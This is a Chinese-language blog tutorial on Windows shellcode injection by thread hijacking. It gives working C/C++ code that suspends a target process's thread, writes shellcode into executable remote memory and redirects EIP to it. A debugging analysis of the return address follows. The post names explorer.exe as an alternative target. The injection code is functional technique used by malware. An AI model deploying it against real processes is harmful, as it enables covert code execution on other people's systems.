windows:shellcode 远程线程hook/注入(一)

  https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式,让目标线程运行shellcode。这么做有个前提条件:目标线程是alertable的,否则注入了也不会立即被执行,直到状态改为alertable,但笔者暂时没找到能把目标线程状态主动改为alertable的办法,所以只能被动“听天由命”地等。今天介绍另一种远程线程注入的方式:hook 线程;

  先说第一种思路,如下:

          

  核心代码解析如下:

  1、用于测试的目标进程:这里写个死循环,让其一直运行,方便随时被注入;

#include <windows.h>
#include <stdio.h>

int main() 
{
    printf("dead looping...............\n");
    while (TRUE) 
    {

    }
}

  注意:本人测试环境:

       

  win10 x64为了确保安全,默认增加了很多防护,比如控制流防护CFG,编译的时候需要手动改成否,才能让我们注入的shellcode顺利执行;

  

   2、遍历进程,找到目标进程后再遍历该进程名下其他线程:

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
        //while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId);
        if (Wow64SuspendThread(threadHandle) == -1) //挂起线程失败
        {
            continue;
        }
        printf("threadId:%d\n", threadId);
        if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize))
        {
            printf("threadID = %d inject success!", threadId);
            CloseHandle(victimProcess);
            CloseHandle(threadHandle);
            break;
        }
    }

  3、shellcode代码注入,思路也简单:之前已经已经拿到目标进程和目标线程的句柄,并且已经暂定线程,这里直接GetThreadContext,更改eip为shellcode地址即可;

BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
{
    LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (shellAddress == NULL)
    {
        printf("VirtualAlloc Error\n");
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE );
        ResumeThread(hThread);
        return FALSE;
    }

    WOW64_CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_ALL;

    if (!Wow64GetThreadContext(hThread, &ctx))
    {
        int a = GetLastError();
        printf("GetThreadContext Error:%d\n", a);
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        ResumeThread(hThread);
        return FALSE;
    }
    DWORD currentEIP = ctx.Eip;
    if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0)
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("write shellcode error\n");
        ResumeThread(hThread);
        return FALSE;
    }
    ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
    if (!Wow64SetThreadContext(hThread, &ctx))
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("set thread context error\n");
        ResumeThread(hThread);
        return FALSE;
    }
    ResumeThread(hThread);
    return TRUE;
}

       效果:弹出了messagebox:

       

       也在目标进程的目录下生成了文件:

      

  4、最后做一些总结:

  •     为了让被注入的目标进程一直运行,刚开始用了sleep,从process hacker看能正常suspend,但无法resume,shellcode也无法执行;后来改成死循环,能正常执行shellcode了;
  •     shellcode执行完后,从打印的数据来看,貌似又从main开始运行,如下:

    

    从process hacker看,线程并未改变,还是之前的那个:

     

    那么问题来了,shellcode执行完回到主线程后为啥又执行了打印代码?仔细想想,shellcode最后一条有效指令是C3,也就是ret,该指令把栈顶4个字节作为返回地址赋值给eip;既然dead looping打印了两次,说明执行shellcode执行前栈顶被压入了这行代码的地址,这是谁干的了?用IDA打开目标进程分析,如下:

    

     好在自己写的测试进程不复杂,很容易找到答案,分析如下:

             (1)由于cpu执行速度很快,注入shellcode的进程(以下简称loader)在执行suspendThread时大概率已经进入while死循环,从上面汇编代码来看,while循环并未改变堆栈,所以shellcdoe执行完后ret的地址肯定不是while循环更改的;

             (2)继续往上倒推:add esp,4 这是进入死循环最后一行改变栈顶的代码,为了更直观说明,我画了一个堆栈图,对照代码如下:

            

     从函数入口点开始,改变堆栈,期间有两个call和一个push,这3行指令会改变esp;最后执行完add esp,4后,esp重新指向原edi;shellcode最后一行ret执行时,会从堆栈中该值弹出赋值给eip。那么原edi值又是多少了?用调试器打开测试进程,在main入口断下,发现edi指向的时EntryPoint,也就是说shellcode最后一个ret指令会跳转到这里开始执行;

        

             这里也能看到栈顶是EntryPoint的地址:

             

   5、 这次注入shellcode虽说成功,问题也很明显:

  •    手动关闭了CFG检查,但实际情况是CFG默认是开启的,导致shellcode可能无法执行
  •    没有设置返回地址,shellcode执行完,返回地址无法控制(这里只是凑巧回到了原EntryPoint);因suspendThread是随机的,context的eip也是随机的,所以shellcode执行完后返回地址也是随机的,这点在shellode无法写死,只能动态获取;我曾经尝试在shellcode末尾添加push+ret方式返回,但suspend的地址可能包含很多00,通过字符串操作的时候可能会被截断,暂时没想到好的解决办法;
  •    类似explorer这种系统进程,GetThreadContex大概率会失败,可能做了保护;

     后续会通过其他方案挨个解决这些问题!

posted @ 2020-07-02 15:16  第七子007  阅读(1495)  评论(0编辑  收藏  举报